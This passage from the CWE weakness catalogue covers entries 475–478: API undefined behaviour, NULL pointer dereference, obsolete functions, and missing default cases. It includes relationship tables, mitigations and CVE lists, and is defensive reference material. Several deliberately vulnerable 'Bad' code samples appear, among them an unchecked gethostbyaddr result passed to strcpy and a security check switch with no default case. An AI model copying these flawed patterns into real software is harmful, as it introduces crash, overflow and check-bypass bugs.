Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-475: Undefined Behavior for Input to API

**Weakness ID** : 475

**Structure** : Simple

**Abstraction** : Base


### Description

The behavior of this function is undefined unless its control parameter is set to a specific value.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1228	API / Function Errors	2275

### Weakness Ordinalities

**Indirect** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		398	7PK - Code Quality	700	2116
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212

### Notes

#### Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: `__xmknod` The value 2 must be passed to the third parameter (the group

argument) of the following wide character string functions: `__wctod_internal` `__wctof_internal` `__wcstol_internal` `__wcstold_internal` `__wcstoul_internal` The value 3 must be passed as the first parameter (the version number) of the following file system functions: `__xstat` `__lxstat` `__fxstat` `__xstat64` `__lxstat64` `__fxstat64`

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Undefined Behavior
Software Fault Patterns	SFP1		Glitch in computation

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-476: NULL Pointer Dereference

**Weakness ID** : 476  
**Structure** : Simple  
**Abstraction** : Base

### Description

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.







### Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460
ChildOf		710	Improper Adherence to Coding Standards	1444
ParentOf		690	Unchecked Return Value to NULL Pointer Dereference	1418
CanFollow		252	Unchecked Return Value	575
CanFollow		789	Memory Allocation with Excessive Size Value	1558
CanFollow		1325	Improperly Controlled Sequential Memory Allocation	2035

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

## Weakness Ordinalities

**Resultant** : NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

**Language** : Go (Prevalence = Undetermined)

## Alternate Terms

**NPD** :

**null deref** :

**nil pointer dereference** : used for access of nil in Go programs

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory  <i>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</i>	

## Detection Methods

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

## Potential Mitigations

### Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

### Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

### Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

*Effectiveness = Moderate*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).*

### Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

### Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Demonstrative Examples

### Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

*Example Language:*

*(Good)*

```
if (pointer1 != NULL) {  
    /* make use of pointer1 */  
    /* ... */  
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

### Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(Bad)*

```
void host_lookup(char *user_supplied_addr){  
    struct hostent *hp;  
    in_addr_t *addr;  
    char hostname[64];  
    in_addr_t inet_addr(const char *cp);  
    /*routine that ensures user_supplied_addr is in the right format for conversion */  
    validate_addr_form(user_supplied_addr);
```

```

addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to `gethostbyaddr()` will return `NULL`. Since the code does not check the return value from `gethostbyaddr` (CWE-252), a `NULL` pointer dereference (CWE-476) would then occur in the call to `strcpy()`.

Note that this code is also vulnerable to a buffer overflow (CWE-119).

### Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a `NULL` pointer exception when it attempts to call the `trim()` method.

*Example Language: Java*

*(Bad)*

```

String cmd = System.getProperty("cmd");
cmd = cmd.trim();

```

### Example 4:

This Android application has registered to handle a URL when sent an intent:

*Example Language: Java*

*(Bad)*

```

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
            ...
        }
    }
}

```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to `getStringExtra()` will return `null`, thus causing a `null` pointer exception when `length()` is called.

## Observed Examples

Reference	Description
<b>CVE-2005-3274</b>	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant <code>NULL</code> dereference; also involves locking. <a href="https://www.cve.org/CVERRecord?id=CVE-2005-3274">https://www.cve.org/CVERRecord?id=CVE-2005-3274</a>
<b>CVE-2002-1912</b>	large number of packets leads to <code>NULL</code> dereference <a href="https://www.cve.org/CVERRecord?id=CVE-2002-1912">https://www.cve.org/CVERRecord?id=CVE-2002-1912</a>
<b>CVE-2005-0772</b>	packet with invalid error status value triggers <code>NULL</code> dereference <a href="https://www.cve.org/CVERRecord?id=CVE-2005-0772">https://www.cve.org/CVERRecord?id=CVE-2005-0772</a>
<b>CVE-2009-4895</b>	Chain: race condition for an argument value, possibly resulting in <code>NULL</code> dereference <a href="https://www.cve.org/CVERRecord?id=CVE-2009-4895">https://www.cve.org/CVERRecord?id=CVE-2009-4895</a>

Reference	Description
<b>CVE-2020-29652</b>	ssh component for Go allows clients to cause a denial of service (nil pointer dereference) against SSH servers. <a href="https://www.cve.org/CVERecord?id=CVE-2020-29652">https://www.cve.org/CVERecord?id=CVE-2020-29652</a>
<b>CVE-2009-2692</b>	Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476). <a href="https://www.cve.org/CVERecord?id=CVE-2009-2692">https://www.cve.org/CVERecord?id=CVE-2009-2692</a>
<b>CVE-2009-3547</b>	Chain: race condition might allow resource to be released before operating on it, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3547">https://www.cve.org/CVERecord?id=CVE-2009-3547</a>
<b>CVE-2009-3620</b>	Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3620">https://www.cve.org/CVERecord?id=CVE-2009-3620</a>
<b>CVE-2009-2698</b>	Chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-2698">https://www.cve.org/CVERecord?id=CVE-2009-2698</a>
<b>CVE-2009-2692</b>	Chain: uninitialized function pointers can be dereferenced allowing code execution <a href="https://www.cve.org/CVERecord?id=CVE-2009-2692">https://www.cve.org/CVERecord?id=CVE-2009-2692</a>
<b>CVE-2009-0949</b>	Chain: improper initialization of memory can lead to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-0949">https://www.cve.org/CVERecord?id=CVE-2009-0949</a>
<b>CVE-2008-3597</b>	Chain: game server can access player data structures before initialization has happened leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-3597">https://www.cve.org/CVERecord?id=CVE-2008-3597</a>
<b>CVE-2020-6078</b>	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) <a href="https://www.cve.org/CVERecord?id=CVE-2020-6078">https://www.cve.org/CVERecord?id=CVE-2020-6078</a>
<b>CVE-2008-0062</b>	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0062">https://www.cve.org/CVERecord?id=CVE-2008-0062</a>
<b>CVE-2008-5183</b>	Chain: unchecked return value can lead to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2008-5183">https://www.cve.org/CVERecord?id=CVE-2008-5183</a>
<b>CVE-2004-0079</b>	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0079">https://www.cve.org/CVERecord?id=CVE-2004-0079</a>
<b>CVE-2004-0365</b>	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0365">https://www.cve.org/CVERecord?id=CVE-2004-0365</a>
<b>CVE-2003-1013</b>	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1013">https://www.cve.org/CVERecord?id=CVE-2003-1013</a>
<b>CVE-2003-1000</b>	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1000">https://www.cve.org/CVERecord?id=CVE-2003-1000</a>
<b>CVE-2004-0389</b>	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0389">https://www.cve.org/CVERecord?id=CVE-2004-0389</a>

Reference	Description
<b>CVE-2004-0119</b>	OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0119">https://www.cve.org/CVERecord?id=CVE-2004-0119</a>
<b>CVE-2004-0458</b>	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0458">https://www.cve.org/CVERecord?id=CVE-2004-0458</a>
<b>CVE-2002-0401</b>	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0401">https://www.cve.org/CVERecord?id=CVE-2002-0401</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	2116
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	2135
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2167
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2198
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2238
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Null Dereference
CLASP			Null-pointer dereference
PLOVER			Null Dereference (Null Pointer Dereference)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP34-C	Exact	Do not dereference null pointers
Software Fault Patterns	SFP7		Faulty Pointer Use

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-1031]"Null pointer / Null dereferencing". 2019 July 5. Wikipedia. < [https://en.wikipedia.org/wiki/Null\\_pointer#Null\\_dereferencing](https://en.wikipedia.org/wiki/Null_pointer#Null_dereferencing) >.

[REF-1032]"Null Reference Creation and Null Pointer Dereference". Apple. < [https://developer.apple.com/documentation/code\\_diagnostics/undefined\\_behavior\\_sanitizer/null\\_reference\\_creation\\_and\\_null\\_pointer\\_dereference](https://developer.apple.com/documentation/code_diagnostics/undefined_behavior_sanitizer/null_reference_creation_and_null_pointer_dereference) >.

[REF-1033]"NULL Pointer Dereference [CWE-476]". 2012 September 1. ImmuniWeb. < <https://www.immuniweb.com/vulnerability/null-pointer-dereference.html> >.

## CWE-477: Use of Obsolete Function

**Weakness ID** : 477

**Structure** : Simple

**Abstraction** : Base

### Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

### Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2275

## Weakness Ordinalities

**Indirect :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger

*Effectiveness = High*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

#### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Highly cost effective: Origin Analysis

*Effectiveness = High*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

### Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

### Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

## Demonstrative Examples

### Example 1:

The following code uses the deprecated function `getpw()` to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets `result` to 1; otherwise it is set to 0.

*Example Language: C*

*(Bad)*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ".");
    pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the `getpw()` function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, `getpw()` has been supplanted by `getpwuid()`, which performs the same lookup as `getpw()` but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

### Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

*Example Language: Java*

*(Bad)*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

### Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

*Example Language: Java*

*(Bad)*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	398	7PK - Code Quality	700	2116
MemberOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf	<b>C</b>	1180	SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1178	2258
MemberOf	<b>C</b>	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259
MemberOf	<b>C</b>	1308	CISQ Quality Measures - Security	1305	2278

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Obsolete
Software Fault Patterns	SFP3		Use of an improper API
SEI CERT Perl Coding Standard	DCL30-PL	CWE More Specific	Do not import deprecated modules
SEI CERT Perl Coding Standard	EXP30-PL	CWE More Specific	Do not use deprecated or obsolete functions or modules

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-478: Missing Default Case in Multiple Condition Expression

**Weakness ID** : 478

**Structure** : Simple

**Abstraction** : Base

### Description

The code does not have a default case in an expression with multiple conditions, such as a switch statement.

### Extended Description

If a multiple-condition expression (such as a switch in C) omits the default case but does not consider or handle all possible values that could occur, then this might lead to complex logical errors and resultant weaknesses. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1023	Incomplete Comparison with Missing Factors	1731

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

**Language :** Python (Prevalence = Undetermined)

**Language :** JavaScript (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic  <i>Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.</i>	

## Potential Mitigations

### Phase: Implementation

Ensure that there are no cases unaccounted for when adjusting program flow or values based on the value of a given variable. In the case of switch style statements, the very simple act of creating a default case can, if done correctly, mitigate this situation. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

## Demonstrative Examples

### Example 1:

The following does not properly check the return code in the case where the security\_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

*Example Language: C*

*(Bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
```

```

result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
}
// program execution continues...
...

```

Instead a default label should be used for unaccounted conditions:

Example Language: C

(Good)

```

#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
  default:
    printf("Unknown error (%d), exiting...\n",result);
    exit(-1);
}

```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

### Example 2:

In the following Java example the method `getInterestRate` retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java

(Bad)

```

public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
  BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
  switch (points) {
    case 0:
      result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
      break;
    case 1:
      result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
      break;
    case 2:
      result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
      break;
  }
  return result;
}

```

}

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

*Example Language: Java*

*(Good)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
    }
    return result;
}
```

### Example 3:

In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the `process_data()` function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state.

*Example Language: Python*

*(Bad)*

```
result = process_data(data)
match result:
    case 0:
        print("Properly handle zero case.")
    case 1:
        print("Properly handle one case.")
# program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them.

*Example Language: Python*

*(Good)*

```
result = process_data(data)
match result:
    case 0:
        print("Properly handle zero case.")
    case 1:
        print("Properly handle one case.")
    case _:
        print("Properly handle unexpected condition.")
```



```
# program execution continues...
```

#### Example 4:

In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calculation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state.

*Example Language: JavaScript*

*(Bad)*

```
let step = input1 + input2;
switch(step) {
  case 1:
    alert("Process step 1.");
    break;
  case 2:
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
}
// program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them.

*Example Language: JavaScript*

*(Good)*

```
let step = input1 + input2;
switch(step) {
  case 1:
    alert("Process step 1.");
    break;
  case 2:
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
  default:
    alert("Unexpected step encountered.");
}
// program execution continues...
```

